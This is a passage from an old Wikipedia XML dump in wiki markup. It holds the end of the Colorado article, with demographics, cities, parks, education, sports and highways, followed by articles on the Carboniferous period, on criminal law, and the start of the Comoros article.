[http://www.bea.gov/ The Bureau of Economic Analysis] estimates that the total state product in 2003 was $187 billion. Per capital personal income in 2003 was $34,561, putting Colorado 8&lt;sup&gt;th&lt;/sup&gt; in the nation.	To see a 2004 per capita personal income comparison table on a state basis: [http://www.bea.gov/bea/newsrel/spi_highlights.pdf]

==Demographics==
{| class=&quot;toccolours&quot; align=&quot;right&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin:0 0 1em 1em; font-size: 95%;&quot;
|-
! colspan=2 bgcolor=&quot;#ccccff&quot; align=&quot;center&quot;| Historical populations
|-
! align=&quot;center&quot;| Census&lt;br&gt;year !! align=&quot;right&quot;| Population
|-
| colspan=2|&lt;hr&gt;
|-
| align=&quot;center&quot;| 1860 || align=&quot;right&quot;| 34,277
|-
| align=&quot;center&quot;| 1870 || align=&quot;right&quot;| 39,864
|-
| align=&quot;center&quot;| 1880 || align=&quot;right&quot;| 194,327
|-
| align=&quot;center&quot;| 1890 || align=&quot;right&quot;| 413,249
|-
| align=&quot;center&quot;| 1900 || align=&quot;right&quot;| 539,700
|-
| align=&quot;center&quot;| 1910 || align=&quot;right&quot;| 799,024
|-
| align=&quot;center&quot;| 1920 || align=&quot;right&quot;| 939,629
|-
| align=&quot;center&quot;| 1930 || align=&quot;right&quot;| 1,035,791
|-
| align=&quot;center&quot;| 1940 || align=&quot;right&quot;| 1,123,296
|-
| align=&quot;center&quot;| 1950 || align=&quot;right&quot;| 1,325,089
|-
| align=&quot;center&quot;| 1960 || align=&quot;right&quot;| 1,753,947
|-
| align=&quot;center&quot;| 1970 || align=&quot;right&quot;| 2,207,259
|-
| align=&quot;center&quot;| 1980 || align=&quot;right&quot;| 2,889,964
|-
| align=&quot;center&quot;| 1990 || align=&quot;right&quot;| 3,294,394
|-
| align=&quot;center&quot;| [[United States 2000 Census|2000]] || align=&quot;right&quot;| 4,301,261
|}

=== Population ===
As of 2005, Colorado has an estimated population of 4,665,177, which is an increase of 63,356, or 1.4%, from the prior year and an increase of 363,162, or 8.4%, since the year 2000.  This includes a natural increase since the last census of 205,321 people (that is 353,091 births minus 147,770 deaths) and an increase due to net migration of 159,957 people into the state.  Immigration from outside the United States resulted in a net increase of 112,217 people, and migration within the country produced a net increase of 47,740 people.

According to estimates made in 2004, Colorado's population will increase to 7,150,000 by [[2030]] [http://cwcb.state.co.us/SWSI/Report/AppendixA.pdf]. The largest increases are expected along the [[Colorado Front Range|Front Range]], especially in the [[Denver-Aurora metropolitan area]].

As of 2004, 441,000 foreign-born persons (9.7% of the population) live in the state, including an estimated 144,000 illegal aliens (3.1% of the state population).

=== Race and ancestry ===
The racial makeup of the state and comparison to the prior census:
{{Racial_demographics_begin | year1=2000 | year2=1990 }}
{{Racial_demographics_White | year1=82.8% | year2=88.2% }}
{{Racial_demographics_Black | year1=3.8% | year2=4.0% }}
{{Racial_demographics_Asian | year1=2.2% | year2=1.8% }}
{{Racial_demographics_Amerindian | year1=1.0% | year2=0.8% }}
{{Racial_demographics_Other | race=Other race | year1=7.3% | year2=5.1% }}
{{Racial_demographics_Mixed | year1=2.8% | year2=&lt;center&gt;*&lt;/center&gt; }}
{{Racial_demographics_Hispanic | year1White=74.5% | year2White=80.7% | year1Hispanic=17.1% | year2Hispanic=12.9% }}
{{Racial_demographics_end}}
(Estimates for the year 2003 are available at: [http://www.census.gov/popest/states/asrh/tables/SC-EST2003-03/SC-EST2003-03-28.pdf PDF].)

Colorado's Hispanic presence is one of the USA's largest—only five states have more Hispanics ([[per capita]]). Denver and some other areas have significant [[Mexican]] populations, while southern Colorado has a large number of Hispanos, the descendants of early New Mexican settlers of colonial Spanish origin.

According to the 2000 Census, the largest ancestry groups in Colorado are [[Germans|German]] (22%), [[Irish people|Irish]] (12.2%), and [[English people|English]] (12%). Persons reporting German ancestry are the largest group in the state and are especially strong in the Front Range and eastern Plains. People of British extraction are the largest group in the western Rocky Mountains.

=== Religion ===
*[[Christianity|Christian]] &amp;ndash; 75%
**[[Protestantism|Protestant]] &amp;ndash; 48%
***[[Baptist]] &amp;ndash; 9%
***[[Methodism|Methodist]] &amp;ndash; 5%
***[[Lutheranism|Lutheran]] &amp;ndash; 5%
***[[Episcopal]] &amp;ndash; 3%
***[[Presbyterianism|Presbyterian]] &amp;ndash; 3%
***Other Protestant or general Protestant &amp;ndash; 23%
**[[Roman Catholicism in the United States|Roman Catholic]] &amp;ndash; 24%
**[[Latter-Day Saint]] ([[Mormon]]) &amp;ndash; 2%
**Other Christian &amp;ndash; 1%
*[[Judaism|Jewish]] &amp;ndash; 2%
*Other Religions &amp;ndash; 1%
*Non-Religious/Agnostic &amp;ndash; 22%

Compared to the nation at large, Colorado&amp;mdash;like many other Western states&amp;mdash;has a high percentage of non-religious people. In addition, although quite small in number overall, Colorado has one of the highest concentrations of [[Tibetan Buddhists]] in North America, located primarily in Boulder and Crestone. Nonetheless, the state&amp;mdash;specifically the city of [[Colorado Springs]]&amp;mdash;is home to numerous Christian groups. [[Focus on the Family]] is among the most prominent of these.

=== More information ===
For detailed social information on Colorado, see [http://factfinder.census.gov/servlet/QTTable?_bm=n&amp;_lang=en&amp;qr_name=DEC_2000_SF3_U_DP2&amp;ds_name=DEC_2000_SF3_U&amp;geo_id=04000US08 here]; for economic information, see [http://factfinder.census.gov/servlet/QTTable?_bm=n&amp;_lang=en&amp;qr_name=DEC_2000_SF3_U_DP3&amp;ds_name=DEC_2000_SF3_U&amp;geo_id=04000US08 here]; and for housing information, see [http://factfinder.census.gov/servlet/QTTable?_bm=n&amp;_lang=en&amp;qr_name=DEC_2000_SF3_U_DP4&amp;ds_name=DEC_2000_SF3_U&amp;geo_id=04000US08 here].

==Important cities and towns==
{{ussm|colorado.png|co}}

Each grouping represents a U.S. Census [[United States metropolitan area|metropolitan]] or [[United States micropolitan area|micropolitan]] area, headed by its principal city (or cities). Each city named in '''bold''' has a population greater than 100,000. 

{|
|- valign=&quot;top&quot;
|
*'''[[Denver, Colorado|Denver]]'''-'''[[Aurora, Colorado|Aurora]]'''
**'''[[Arvada, Colorado|Arvada]]'''
**[[Brighton, Colorado|Brighton]]
**[[Broomfield, Colorado|Broomfield]]
**[[Castle Rock, Colorado|Castle Rock]]
**'''[[Centennial, Colorado|Centennial]]'''
**[[Commerce City, Colorado|Commerce City]]
**[[Englewood, Colorado|Englewood]]
**[[Federal Heights, Colorado|Federal Heights]]
**[[Golden, Colorado|Golden]]
**[[Greenwood Village, Colorado|Greenwood Village]]
**'''[[Lakewood, Colorado|Lakewood]]'''
**[[Littleton, Colorado|Littleton]]
**[[Northglenn, Colorado|Northglenn]]
**[[Parker, Colorado|Parker]]
**'''[[Thornton, Colorado|Thornton]]'''
**'''[[Westminster, Colorado|Westminster]]'''
**[[Wheat Ridge, Colorado|Wheat Ridge]]
|
*''' [[Colorado Springs, Colorado|Colorado Springs]] '''
**[[Fountain, Colorado|Fountain]]


*''' [[Fort Collins, Colorado|Fort Collins]] '''-[[Loveland, Colorado|Loveland]]


*''' [[Pueblo, Colorado|Pueblo]] '''


*[[Boulder, Colorado|Boulder]] 
**[[Lafayette, Colorado|Lafayette]]
**[[Longmont, Colorado|Longmont]]
**[[Louisville, Colorado|Louisville]]
**[[Superior, Colorado|Superior]]


*[[Greeley, Colorado|Greeley]]
**[[Windsor, Colorado|Windsor]]

|
*[[Grand Junction, Colorado|Grand Junction]]


*[[Canon City, Colorado|Canon City]]



*[[Montrose, Colorado|Montrose]]


*[[Durango, Colorado|Durango]]


*[[Fort Morgan, Colorado|Fort Morgan]]


*[[Silverthorne, Colorado|Silverthorne]]


*[[Sterling, Colorado|Sterling]]







|}
Other notable cities (population under 10,000)
*[[Alamosa, Colorado|Alamosa]]
*[[Aspen, Colorado|Aspen]]
*[[Glenwood Springs, Colorado|Glenwood Springs]]
*[[Leadville, Colorado|Leadville]]
*[[Trinidad, Colorado|Trinidad]]
*[[Vail, Colorado|Vail]]
*[[Walsenburg, Colorado|Walsenburg]]

&lt;/small&gt;

===25 Richest Places in Colorado===
{{main|Richest places in Colorado}}

Ranked by [[per capita income]]

1 [[Cherry Hills Village, Colorado|Cherry Hills Village]]		$99,996	&lt;br&gt;	
2 [[Genesee, Colorado|Genessee CDP]]		$79,180	&lt;br&gt;	
3 [[Columbine Valley, Colorado|Columbine Valley]]		$71,758	&lt;br&gt;	
4 [[Castle Pines, Colorado|Castle Pines CDP]]		$70,456	&lt;br&gt;	
5 [[Greenwood Village, Colorado|Greenwood Village]]		$69,189	&lt;br&gt;	
6 [[Bonanza, Colorado|Bonanza]]		$66,857	&lt;br&gt;	
7 [[Bow Mar, Colorado|Bow Mar]]		$53,558	&lt;br&gt;	
8 [[Heritage Hills, Colorado|Heritage Hills CDP]]		$50,041	&lt;br&gt;	
9 [[Perry Park, Colorado|Perry Park CDP]]		$47,574	&lt;br&gt;	
10 [[Lone Tree, Colorado|Lone Tree]]		$46,287	&lt;br&gt;	
11 [[Meridian, Colorado|Meridian CDP]]		$46,031	&lt;br&gt;	
12 [[The Pinery, Colorado|The Pinery CDP]]		$43,065	&lt;br&gt;	
13 [[Eldorado Springs, Colorado|Eldorado Springs CDP]]		$42,908	&lt;br&gt;	
14 [[Vail, Colorado|Vail]]		$42,390	&lt;br&gt;	
15 [[Foxfield, Colorado|Foxfield]]		$40,970	&lt;br&gt;	
16 [[Aspen, Colorado|Aspen]]		$40,680	&lt;br&gt;	
17 [[Niwot, Colorado|Niwot]]		$39,943	&lt;br&gt;	
18 [[Mountain Village, Colorado|Mountain Village]]		$39,920	&lt;br&gt;	
19 [[Edwards, Colorado|Edwards CDP]]		$39,784	&lt;br&gt;	
20 [[Pitkin, Colorado|Pitkin]]		$39,182	&lt;br&gt;	
21 [[Telluride, Colorado|Telluride]]		$38,832	&lt;br&gt;	
22 [[Woodmoor, Colorado|Woodmoor CDP]]		$38,758	&lt;br&gt;	
23 [[Castlewood, Colorado|Castlewood CDP]]		$37,891	(now a part of [[Centennial, Colorado|Centennial]])&lt;br&gt; 	
24 [[Vona, Colorado|Vona]]		$37,802	&lt;br&gt;	
25 [[Eagle-Vail, Colorado|Eagle-Vail CDP]]		$37,260	&lt;br&gt;

==Colorado tourism and recreation==
[[Image:ColoradoWelcome.jpg|thumb|350px|Welcome to Colorado]]

===National parks===
*[[Black Canyon of the Gunnison National Park]]
*[[Mesa Verde National Park]]
*[[Rocky Mountain National Park]]
*[[Great Sand Dunes National Park and Preserve]]

===National monuments===
*[[Colorado National Monument]]
*[[Dinosaur National Monument]]
*[[Florissant Fossil Beds National Monument]]
*[[Hovenweep National Monument]]
*[[Canyons of the Ancients National Monument]]

===National recreational areas===
*[[Arapaho National Recreational Area]]
*[[Curecanti National Recreational Area]]

===National forests===
*[[Arapaho National Forest]]
*[[Grand Mesa National Forest]]
*[[Gunnison National Forest]]
*[[Pike National Forest]]
*[[Rio Grande National Forest]]
*[[Roosevelt National Forest]]
*[[Routt National Forest]]
*[[San Isabel National Forest]]
*[[San Juan National Forest]]
*[[Uncompahgre National Forest]]
*[[White River National Forest]]

[[Image:wiki_colorado.JPG|thumb|350px|Greetings from Colorado]]

===National grasslands===
*[[Comanche National Grassland]]
*[[Pawnee National Grassland]]

===Wilderness areas===
*[[Collegiate Peaks Wilderness|Collegiate Peaks Wilderness Area]]
*[[Flat Top Wilderness Area]]
*[[Great Sand Dunes National Monument and Wilderness Area]]
*[[Hunter-Fryingpan Wilderness Area]]
*[[La Garita Wilderness Area]]
*[[Lizard Head Wilderness|Lizard Head Wilderness Area]]
*[[Lost Creek Wilderness|Lost Creek Wilderness Area]]
*[[Maroon Bells Snowmass Wilderness Area]]
*[[Mount Sneffels Wilderness|Mount Sneffels Wilderness Area]]
*[[Mount Zirkel Wilderness Area]]
*[[Rawah Wilderness Area]]
*[[Sangre de Cristo Wilderness Area]]
*[[Uncompahgre Wilderness|Uncompahgre Wilderness Area]]
*[[Weminuche Wilderness Area]]
*[[West Elk Wilderness Area]]

===National historic sites===
*[[Bent's Old Fort National Historic Site]] 1833-1849 trading fort in Colorado
*[[Sand Creek Massacre National Historic Site]] Nov. 29, 1864 US massacre of Cheyenne and Arapaho Indian Innocents

==Education==
===Colleges and universities===
{|
|-
| valign=&quot;top&quot; |
*[[Adams State College]]
*[[Colorado Christian University]]
*[[Colorado College]]
*[[Colorado School of Mines]]
*[[Colorado State University System]]
**[[Colorado State University]]
**[[Colorado State University - Pueblo]]
*[[Colorado Technical University]]
*[[Denver Seminary]]
*[[Fort Lewis College]]
*[[Heritage College &amp; Heritage Institute]]
*[[Iliff School of Theology]]
*[[Jones International University]]
*[[Mesa State College]]
*[[Metropolitan State College of Denver]]
*[[Naropa University]]
*[[National Technological University]]
| valign=&quot;top&quot; |
*[[Nazarene Bible College]]
*[[Regis University]]
*[[Rocky Mountain College of Art and Design]]
*[[United States Air Force Academy]]
*[[University of Colorado System]]
**[[University of Colorado at Boulder]]
**[[University of Colorado at Colorado Springs]]
**[[University of Colorado at Denver]]
**[[University of Colorado Health Sciences Center]]
*[[University of Denver]]
*[[University of Northern Colorado]]
*[[Western State College]]
|}

==Professional sports teams==
[[As of 2005]], Colorado is least populous state with a franchise in each of the [[major professional sports league]]s.  In fact, as of the [[2000]] census Colorado was also the least populous state to have more than one major league team, let alone four.  The state is able to support the teams because it contains a large [[metropolitan area]], with a much higher population than any other city in over 500 miles. Therefore, many of the residents in the surrounding states support the teams in Denver, as show by the reach of the Broncos' radio network[http://www.denverbroncos.com/page.php?id=1637]. Colorado has since surpassed [[Louisiana]] in population, although the effects of [[Hurricane Katrina]] have made the futures of that state's teams uncertain.

The [[Canadian province]] of [[Alberta]] is the only less populous jurisdiction in North America besides the [[Washington, D.C.|District of Columbia]] to have more than one major league team.

===Major league teams===
*[[Colorado Rockies]], [[Major League Baseball]]
*[[Denver Nuggets]], [[National Basketball Association]]
*[[Denver Broncos]], [[National Football League]]
*[[Colorado Avalanche]], [[National Hockey League]]

===Other teams===
*[[Colorado Rapids]], [[Major League Soccer]]
*[[Colorado Crush]], [[Arena Football League]]
*[[Colorado Mammoth]], [[National Lacrosse League]]
*[[Denver Outlaws]], [[Major League Lacrosse]]
*[[Colorado Springs Sky Sox]], [[Minor League Baseball]] (AAA)
*[[Colorado Eagles]], [[Central Hockey League]]
*[[Colorado Chill]], [[National Women's Basketball League]]

==Major highways==
{|
|-
| valign=&quot;top&quot; |
*[[Interstate 25]]
*[[Interstate 70]]
*[[Interstate 76 (west)|Interstate 76]]
*[[U.S. Highway 6]]
*[[U.S. Highway 24]]
| valign=&quot;top&quot; |
*[[U.S. Highway 34]]
*[[U.S. Highway 36]]
*[[U.S. Highway 40]]
*[[U.S. Highway 50]]
*[[U.S. Highway 85]]
*[[U.S. Highway 87]]
*[[U.S. Highway 285]]
|}

==References==
*[[U.S. Census Bureau]].
**[http://quickfacts.census.gov/qfd/states/08000.html Colorado QuickFacts].  Geographic and demographic information.
**[http://www.census.gov/population/documentation/twps0056/tab20.pdf Colorado - Race and Hispanic Origin: 1860 to 1990] ([[Portable Document Format|PDF]])

==See also==
*[[Tibetan American]]

==Further reading==
*&lt;cite&gt;Explore Colorado, A Naturalist's Handbook&lt;/cite&gt;, The Denver Museum of Natural History and Westcliff Publishers, 1995, ISBN 1-56579-124-X for an excellent guide to the ecological regions of Colorado.
*&lt;cite&gt;The Archeology of Colorado, Revised Edition&lt;/cite&gt;, E. Steve Cassells, Johnson Books, Boulder, Colorado, 1997, trade paperback, ISBN 1-55566-193-9.
*&lt;cite&gt;Chokecherry Places, Essays from the High Plains&lt;/cite&gt;, Merrill Gilfillan, Johnson Press, Boulder, Colorado, trade paperback, ISBN 1-55566-227-7.
*&lt;cite&gt;[[The Tie That Binds]]&lt;/cite&gt;, [[Kent Haruf]], 1984, hardcover, ISBN 0030719798, a fictional account of farming in Colorado.
*&lt;cite&gt;Railroads of Colorado: Your Guide to Colorado's Historic Trains and Railway Sites&lt;/cite&gt;, Claude Wiatrowski, Voyageur Press, 2002, hardcover, 160 pages, ISBN 0-89658-591-3

==External links==
{{sisterlinks|Colorado}}
* {{wikitravel|Colorado}}
* [http://www.colorado.gov/ The Official Colorado State Website]
* [http://www.colorado.com/ Official tourism Website]
* [http://www.terragalleria.com/america/south-west/colorado/ Photos of Colorado - Terra Galleria]
* [http://www.rootsweb.com/~coyuma/city/index.html Colorado place names]
* [http://www.usnewspapers.org/state/colorado Colorado Newspapers]
* [http://www.countymapscolorado.com County Maps Colorado] Full color county maps. List of County seats, cities and towns

{{Colorado}}

{{United_States}}

[[Category:1876 establishments]]
[[Category:Colorado|*]]
[[Category:States of the American West]]
[[Category:States of the United States]]

[[ang:Colorado]]
[[ar:كولورادو]]
[[ast:Colorado]]
[[bg:Колорадо]]
[[ca:Colorado]]
[[cs:Colorado]]
[[da:Colorado]]
[[de:Colorado]]
[[et:Colorado]]
[[es:Colorado (estado)]]
[[eo:Koloradio]]
[[fr:Colorado]]
[[gd:Colorado]]
[[gl:Colorado, Estados Unidos de América]]
[[ko:콜로라도 주]]
[[id:Colorado]]
[[is:Colorado]]
[[it:Colorado]]
[[he:קולורדו]]
[[ka:კოლორადო (შტატი)]]
[[ks:Kālarēḍō]]
[[lv:Kolorādo]]
[[lt:Koloradas]]
[[lb:Colorado (Bundesstaat)]]
[[hu:Colorado]]
[[mk:Колорадо]]
[[mr:कॉलोराडो]]
[[nl:Colorado (staat)]]
[[ja:コロラド州]]
[[no:Colorado]]
[[nn:Colorado]]
[[os:Колорадо]]
[[pl:Kolorado]]
[[pt:Colorado]]
[[ru:Колорадо]]
[[sq:Colorado]]
[[simple:Colorado]]
[[sk:Colorado (štát USA)]]
[[sl:Kolorado]]
[[sr:Колорадо (држава)]]
[[fi:Colorado]]
[[sv:Colorado]]
[[th:มลรัฐโคโลราโด]]
[[tr:Colorado]]
[[uk:Колорадо]]
[[zh:科羅拉多州]]</text>
    </revision>
  </page>
  <page>
    <title>Countries of the World</title>
    <id>5400</id>
    <revision>
      <id>15903610</id>
      <timestamp>2005-04-27T21:25:22Z</timestamp>
      <contributor>
        <username>Wilfried Derksen</username>
        <id>42636</id>
      </contributor>
      <minor />
      <comment>Changed redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of countries]]</text>
    </revision>
  </page>
  <page>
    <title>Carboniferous</title>
    <id>5401</id>
    <revision>
      <id>41888583</id>
      <timestamp>2006-03-02T11:07:55Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">The '''Carboniferous''' is a major division of the [[geologic timescale]] that extends from the end of the [[Devonian]] period, about 359.2 [[annum|Ma]] (million years ago), to the beginning of the [[Permian]] period, about 299.0 Ma ([[International Commission on Stratigraphy|ICS]] 2004). As with most older [[geology|geologic]] periods, the rock beds that define the period's start and end are well identified, but the exact dates are uncertain by 5–10 million years. The Carboniferous is named for the extensive [[coal]] beds of that age found in [[Great Britain]] and Western [[Europe]]. The first third of the Carboniferous is called the [[Mississippian]] [[geologic time scale|epoch]], and the remainder is called the [[Pennsylvanian]]. Conifer trees 
were introduced in this important and well-known time period.

{{Paleozoic Footer}}
{{Carboniferous Footer}}

==Subdivisions==
The Carboniferous is usually broken into Lower and Upper subdivisions. The [[faunal stage|Faunal stages]] from youngest to oldest are: 

===Gzhelian (most recent)===
*Noginskian/Virgilian

===Kasimovian===
*Klazminskian
*Dorogomilovksian/Virgilian
*Chamovnicheskian/Cantabrian/Missourian
*Krevyakinskian/Cantabrian/Missourian

===Moscovian===
*Myachkovskian/Bolsovian/Desmoinesian 
*Podolskian/Desmoinesian 
*Kashirskian/Atokan 
*Vereiskian/Bolsovian/Atokan 

===Bashkirian/Morrowan===
*Melekesskian/Duckmantian
*Cheremshanskian/Langsettian
*Yeadonian
*Marsdenian
*Kinderscoutian

===Serpukhovian===
*Alportian 
*Chokierian/Chesterian/Elvirian 
*Arnsbergian/Elvirian  
*Pendleian 

===Visean===
*Brigantian/St Genevieve/Gasperian/Chesterian 
*Asbian/Meramecian 
*Holkerian/Salem 
*Arundian/Warsaw/Meramecian 
*Chadian/Keokuk/Osagean/Osage 

===Tournaisian (oldest)===
*Ivorian/Osagean/Osage 
*Hastarian/Kinderhookian/Chautauquan/Chouteau

==Paleogeography==
The southern [[continent]]s remained tied together in the [[supercontinent]] [[Gondwana]], which collided with North America-Europe ([[Laurussia]]) along the present line of eastern North America. In the same time frame, much of present eastern [[Eurasian plate]] welded itself to Europe along the line of the [[Ural mountains]]. Most of the [[Mesozoic]] supercontinent of [[Pangea]] was now assembled, although pieces of present east [[Asia]] still remained detached.

==Rocks and coal==
Carboniferous rocks in Europe and eastern North America largely consist of a repeated sequence of [[limestone]], [[sandstone]], [[shale]] and coal beds. In North America, the early Carboniferous is largely marine limestone, which accounts for the division of the Carboniferous into two periods in North American schemes. The Carboniferous coal beds provided much of the fuel for power generation during the [[Industrial Revolution]] and are still of great economic importance.

The large coal deposits of the Carboniferous primarily owe their existence to two factors. The first of these is the appearance of [[bark]] bearing trees (and in particular the [[evolution]] of the bark fiber [[lignin]]). The second is the lower sea levels that occurred during the Carboniferous as compared to the [[Devonian]] period. This allowed for the development of extensive lowland [[swamp]]s and [[forest]]s in North America and Europe. It has been hypothesized that large quantities of [[wood]] were buried during this period because animals and decomposing [[bacterium|bacteria]] had not yet [[Evolution|evolved]] that could effectively digest the new lignin. It has also been observed that the extensive burial of organically produced [[carbon]] led to a buildup of surplus [[oxygen]] in the atmosphere resulting in concentrations up to 80% higher than today. The oxygen increase is implicated in increased [[wildfire]] activity, as well as the expression of gigantism in certain [[insect]]s and [[amphibia|amphibian]]s, whose size is constrained by [[Respiration (physiology)|respiratory]] systems that are limited in their ability to diffuse oxygen.

In eastern North America, marine beds are more common in the older part of the period than the later part and are almost entirely absent by the Late Carboniferous. More diverse geology existed elsewhere of course. Marine life is especially rich in [[crinoids]] and other [[echinodermata|echinoderms]]. [[Brachiopoda|Brachiopods]] were abundant. [[Trilobites]] became quite uncommon. On land, large and diverse [[plant]] populations existed. Land [[vertebrata|vertebrates]] included large amphibians.

==Life==
One of the greatest evolutionary innovations of the Carboniferous was the [[amniote]] egg, which allowed for the further exploitation of the land by certain [[tetrapod]]s. The amniote egg allowed the ancestors of [[bird]]s, [[mammal]]s, and [[reptile]]s to reproduce on land by preventing the desiccation, or drying-out, of the [[embryo]] inside.

== See also ==
* ''[[Calamites]]'' - a tree-sized [[horsetail]] that was common in the Carboniferous
* Important Carboniferous [[Lagerstätten]]
** [[Hamilton Quarry]]; 320 mya; [[Kansas]], US
** [[Mazon Creek]]; 300 mya; [[Illinois]], US

== External links ==
* {{cite web
 | publisher = International Commission on Stratigraphy (ICS)
 | title = Geologic Time Scale 2004
 | url = http://www.stratigraphy.org/gts.htm
 | accessdate = September 19
 | accessyear = 2005
 }}

{{Carboniferous Footer}}

[[Category:Carboniferous| ]]

[[ca:Carbonífer]]
[[cs:Karbon]]
[[cy:Carbonifferaidd]]
[[da:Kultiden]]
[[de:Karbon (Geologie)]]
[[es:Carbonífero]]
[[et:Karbon]]
[[fr:Carbonifère]]
[[he:קרבון]]
[[it:Carbonifero]]
[[ja:石炭紀]]
[[lt:Karbonas]]
[[nl:Carboon]]
[[no:Karbon (geologi)]]
[[pl:Karbon (okres)]]
[[pt:Carbonífero]]
[[ru:Каменноугольный период]]
[[sl:Karbon]]
[[sv:Karbon]]
[[zh:石炭纪]]</text>
    </revision>
  </page>
  <page>
    <title>Criminal law</title>
    <id>5402</id>
    <revision>
      <id>40997065</id>
      <timestamp>2006-02-24T10:38:34Z</timestamp>
      <contributor>
        <username>Ixfd64</username>
        <id>6284</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/217.41.241.254|217.41.241.254]] ([[User talk:217.41.241.254|talk]]) to last version by 203.198.237.30</comment>
      <text xml:space="preserve">{{CrimLaw}}
'''Criminal law''' (also known as '''penal law''') is the body of [[statutory]] and [[common law]] that deals with [[crime]] and the legal [[punishment]] of criminal [[offense (law)|offense]]s. There are four theories of [[criminal justice]]: punishment, deterrence, incapacitation, and rehabilitation.  It is believed that imposing sanctions for the crime, society can achieve justice and a peacable [[social order]].  This differs from [[Civil law (private law)|civil law]] in that civil actions are disputes between two parties that are not of significant public concern.

The process begins, obviously, with an alleged crime.  A [[complainant]] makes an accusation, which is investigated by the [[police]], acting as agents of the [[government]].  The police file a document, in most jurisdictions known as a [[complaint]], with a court in the appropriate jurisdiction.  If the alleged offense is clasified as a [[felony]], the [[Constitution of the United States]] requires that the case be referred a [[grand jury]] for an [[indictment]].  An indictment is the official charging instrument accusing the defendant of criminal conduct.  

The interests of the state are represented by a prosecuting attorney, while the interests of the defendant are represented by his or her defense attorney.  While the specific process varies according to the local law, in virtually every jurisdiction the process culminates with a trial, followed by appeals to higher courts. 

Criminal statutes spell out the exact circumstances which constitute a crime.  These circumstances are known as ''the elements of the offense''.  Unless all the elements are proven by the prosecuting authority, the defendant is not guilty of the offense.  There are three kinds of elements: the act itself, the ''[[actus reus]]'', ''guilty act''; the requisite mental state, the ''[[mens rea]]'', ''guilty mind''; and the attendant circumstances.  As an example, the common law definition of burglary was as follows: unlawful entry into a dwelling house at night with the intent to commit a felony therein.  It is the duty of the prosecution, therefore, to prove not merely the act (the entry), and the mental state (the intent to commit a crime), but all the attendant circumstances (that it was a dwelling house, and that it was at night).  Most modern criminal statutes have, among other changes, eliminated the &quot;at night&quot; element.

In defense, the accused could argue that he had no intent to commit a crime inside the house, that it occurred during the day, or that his entry was lawful.  He could also, of course, argue that the incident never happened, or that someone else committed the offense.

Criminal law in most jurisdictions both in the [[common law|common]] and [[Napoleonic|civil law]] traditions is divided into two fields:

*[[Criminal procedure]] regulates the process for addressing violations of criminal law
*'''Substantive criminal law''' details the definition of, and punishments for, various crimes.

Criminal law distinguishes crimes from civil wrongs such as [[tort]] or breach of [[contract]].  Criminal law has been seen as a system of regulating the behavior of individuals and groups in relation to societal norms at large whereas civil law is aimed primarily at the relationship between private individuals and their rights and obligations under the law.  Although many [[ancient history|ancient]] legal systems did not clearly define a distinction between criminal and civil law, in England there was little difference until the codification of criminal law occurred in the late nineteenth century.  In most U.S. law schools, the basic course in criminal law is based upon the English common criminal law of [[1750]] (with some minor American modifications like the clarification of ''mens rea'' in the Model Penal Code). 

==Quotes==
''A society should not be judged on how it treats its outstanding citizens but by how it treats its criminals.''....[[Fyodor Dostoyevsky]]

==References==
*[http://www.historycooperative.org/journals/lhr/18.2/farmer.html Lindsay Farmer, &quot;Reconstructing the English Codification Debate: The Criminal Law Commissioners, 1833-45,&quot; ''Law and History Review,'' Volume 18 Number 2 Summer 2000]
*[[George P. Fletcher]], ''Basic Concepts of Criminal Law'' (Oxford, Oxford University Press, 1998).
*[[George P. Fletcher]], ''Rethinking Criminal Law'' (Oxford: Oxford University Press, 2000).
*[[Michael Gorr]] and [[Sterling Harwood]], eds., ''Controversies in Criminal Law'' (Boulder, CO: Westview Press, 1992).
*[[Hyman Gross]], ''A Theory of Criminal Justice'' (Oxford: Oxford University Press, 2005, reissue).
*[[H.L.A. Hart]], ''Punishment and Responsibility'' (Oxford: Oxford University Press, 1968).
*[[Sterling Harwood]], &quot;Is Mercy Inherently Unjust?&quot; in [[Michael Gorr]] and [[Sterling Harwood]], eds., ''Crime and Punishment: Philosphic Explorations'' (Boston: Jones &amp; Bartlett Publishers, 1995).
*[[Jeffrie Murphy]] et al., ''Forgiveness and Mercy'' (Cambridge: Cambridge University Press, 1990).
*[[K. J. M. Smith]], ''Lawyers, Legislators and Theorists: Developments in English Criminal Jurisprudence, 1800-1957'' (Oxford: Clarendon Press, 1998).
*[[Ernest van den Haag]], ''Punishing Criminals: Concerning a Very Old and Painful Question'' (New York: Basic Books: 1978).

==External links==
* [http://plato.stanford.edu/entries/criminal-law/ Stanford Encyclopedia of Philosophy entry on Theories of Criminal Law]
* [http://www.great-legal-advice.com/criminal-law/what-is-criminal-law.htm Criminal Law]
* [http://www.4lawschool.com/crim.htm 4LawSchool: Criminal Law Case Summaries]

&lt;!-- interwiki --&gt;

[[Category:Criminal law|*]]
[[Category:Prosecution|*]]

[[de:Strafrecht]]
[[es:Derecho penal]]
[[eo:Kriminala juro]]
[[fr:Droit pénal]]
[[fy:Strafrjocht]]
[[ko:형법]]
[[hr:Kazneno pravo]]
[[he:משפט פלילי]]
[[nl:Strafrecht]]
[[ja:刑法]]
[[pl:Prawo karne]]
[[pt:Direito penal]]
[[ru:Уголовное право]]
[[sl:Kazensko pravo]]
[[sv:Straffrätt]]
[[th:กฎหมายอาญา]]
[[zh:刑法]]</text>
    </revision>
  </page>
  <page>
    <title>Comoros</title>
    <id>5403</id>
    <revision>
      <id>41939389</id>
      <timestamp>2006-03-02T19:37:45Z</timestamp>
      <contributor>
        <username>MJCdetroit</username>
        <id>627347</id>
      </contributor>
      <comment>English measurements per [[WP:MOSNUM]]</comment>
      <text xml:space="preserve">:''This article is about the state. For the archipelago, see [[Comoro Islands]].''
The '''Union of the Comoros''' (until [[2002]] the '''Islamic Federal Republic of the Comoros''') is a country in the [[Indian Ocean]], situated at the northern end of the [[Mozambique Channel]] between northern [[Madagascar]] and northern [[Mozambique]]. The country consists of three of the four main islands in the [[volcanic island|volcanic]] [[Comoros archipelago]]: [[Grande Comore]], [[Moheli]] and [[Anjouan]]. The fourth island in the [[island group]], [[Mayotte]], is not part of the country. Mayotte has voted against independence from [[France]], but is claimed by Comoros. The country's territory also encompasses many smaller islands. Its name was adopted from the word ''al-Khamar'', meaning 'island of small moon,' as seen depicted on its flag.
